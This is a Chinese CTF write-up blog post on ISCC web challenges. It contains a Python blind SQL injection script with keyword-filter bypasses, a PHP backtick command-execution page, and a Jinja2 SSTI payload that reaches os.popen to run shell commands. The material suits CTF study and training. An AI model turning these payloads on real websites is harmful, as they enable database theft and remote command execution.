拖了好久了,比赛多的打不过来,事情多的压得喘不过气

最后一次国赛,没做选择、没赶上第一波题目,尽力了,就这样吧

后两波题目质量拉满,确实学到很多,middle_source 偏易,都是老考点了,没什么好写的,文件上传那个做到一半,后面有机会就搭个环境自己复现一下吧,没机会就再见了

最后一篇整体性的 CTFWP-Blog,仅以此纪念我即将逝去的大学生活

后面随缘写一些渗透测试的东西和比较有意思的题目


一、擂台题:

1.easyweb:

这题分两部分

前半部分是去年春秋公益赛 Nu1L 师傅们出的 Ezsqli,fuzz 出来过滤的字符串后,exp 基本上可以直接打

后半部分代码审计,可以 load_file() 读文件,当然能不能绕过就不清楚了(看着应该绕不过)

view-source 里有 ?id 的提示,fuzz 一下发现过滤了:空格、/**/ %0a %a0 %09 %0b %b0 select or

字符型注入,空格直接 %0d 绕过,select 可以双写绕过

直接测试就行了

前面提到过了,基本上考点没变,最后无列名注入直接打

import requests

#dbname = iscc_Web
for j in range(1,9):
    flag = 0
    for k in range(33,126):
        db_payload2 = '0%27||(ascii(substr(database(),' + str(j) + ',1)))='
        name_db_payload2 = db_payload2 + str(k) + '%23'
        url2 = url + name_db_payload2
        print(url2)
        req = requests.get(url=url2)
        text = req.text
        if 'Your Login name' in text:
            db_name += chr(k)
            flag = 1
            break
        else:
            continue
    if flag:
        pass
    else:
        break
print ("database_name = "+ db_name)

#table_name=easyweb,iscc_flag
for i in range(1,20):
    for char in list:
        tb_payload2 = '0%27||ascii(substr({},{},1))=\'{}\''.format(tb_name_payload, i, ord(char))
        url4 = url + tb_payload2 + '%23'
        #print(url4)
        r = requests.post(url=url4)
        text = r.text
        if 'Your Login name' in r.text:
            tb_name += char
            print(tb_name)
            break
print("table_name = " + tb_name)

#column_name=CCCMD.PHP
def trans(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res
flag = ''
for i in range(1,500):
    hexchar = ''
    for char in range(32, 126):
        hexchar = trans(flag + chr(char))
        flag_payload = '0%27||((select%0d1,{})>(seselectlect%0d*%0dfrom%0discc_flag))%23'.format(hexchar)
        url5 = url + flag_payload
        r = requests.get(url=url5)
        text = r.text
        if 'Your Login name' in r.text:
            flag += chr(char-1)
            print(flag)
            break

读到 cccmd.php 后访问:

<?php


if(isset($_GET['c'])){
  $c=$_GET['c'];

    if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){
       exit("die!!");
    }else{
     echo `$c`;
    }
}else{
    highlight_file(__FILE__);
}
?>

<!--flllllllllaaag.php-->

基本上过滤死了,但是可以 load_file() 继续注入读,但是要知道文件路径,所以 ?c=pwd

和上面的 flllllllllaaag.php 拼接在一起转 16 进制,直接读,最后读到的:

<?php

flag='iscc{eeeeeasy_web!!666666}';

?>
二、练武题:

1.ISCC客服一号冲冲冲(二):

又拿原题糊弄人???

一开始登录框就是告诉你有哪些变量

自己直接 POST 传参就行,然后告诉了密码为第一关的 flag,但是 admin 禁用,直接换一个就可以登陆

明眼人看 Cookie 就能看出来 CBC 字节翻转攻击,原理直接百度就可,没啥好讲的

自己构造,一开始写个脚本,发现不行,还是 burp 发包玩去吧

2.lovely ssti:

中等偏易的的 SSTI

没给参数,但是根据图片可以才出来是个啥,这东西是小豆泥,所以直接 ?xiaodouni={{}}

部分关键字过滤、. ' _ 过滤,直接拼接绕过 + |attr() 完事,先找字典

直接取字符构造

{% set xiahuaxian=(config|string|list)[14]%}
{% set globals=(xiahuaxian,xiahuaxian,"globals",xiahuaxian,xiahuaxian)|join %}
{% set shell="ls" %}
{{(lipsum|attr(globals)|attr("get")("o""s")|attr("po""pen")(shell))|attr("read")()}}

bl 那个没必要,一开始想着构造 chr() 来着

自己改 shell 就可以,最后在 /usr 下发现:

直接 ? 通配带走


Ruby 和资源解析大师先不放了,比赛结束再放,省的有人 yygq 😁


0 条评论

发表评论

邮箱地址不会被公开。 必填项已用*标注